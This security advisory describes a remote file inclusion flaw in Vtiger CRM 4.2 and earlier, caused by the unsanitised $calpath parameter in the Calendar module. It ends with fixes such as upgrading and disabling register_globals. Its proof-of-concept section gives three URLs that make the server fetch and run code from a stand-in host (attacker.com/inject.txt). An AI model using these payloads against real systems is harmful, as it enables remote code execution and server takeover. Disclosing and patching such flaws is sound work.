Impact : System access
Where : From Remote
---------------------------------------------------------------------------
Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~
Application : Vtiger CRM
version : <=4.2
URL : http://vtiger.com
vtiger CRM is 100% Open Source Customer Relationship Management solution built over
LAMP/WAMP stack and other third-party open source packages.
vtiger CRM software can be installed in Windows NT/2000/XP/2003 and different types
Unix/Linux-based distributions, such as RedHat 7.2/8.0/9.0, Debian 3.0, SuSe 9.0, Fedora Core 3.0,
Mandrake 10.0, Mac OS, and FreeBSD.
---------------------------------------------------------------------------
Vulnerability:
~~~~~~~~~~~~~
In folder modules/Calendar/admin/ I found vulnerability script update.php
--------------------------update.php---------------------------------------
....
<?
include_once $calpath .'webelements.p3';
include_once $calpath .'permission.p3';
...
----------------------------------------------------------
Input passed to the "$calpath" parameter in update.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources.
Also affected files on Files:
modules/Calendar/admin/update.php
modules/Calendar/admin/scheme.php
modules/Calendar/calendar.php
Proof Of Concept:
~~~~~~~~~~~~~~
http://target.com/[vtiger_crm_path]/modules/Calendar/admin/update.php?calpath=http://attacker.com/inject.txt?
http://target.com/[vtiger_crm_path]/modules/Calendar/scheme.php?calpath=http://attacker.com/inject.txt?
http://target.com/[vtiger_crm_path]/modules/Calendar/calendar.php?calpath=http://attacker.com/inject.txt?
Solution:
~~~~~~
- Upgrade to Vtiger CRM 5.0
- Sanitize variable $calpath on affected files.
- Turn off register_globals
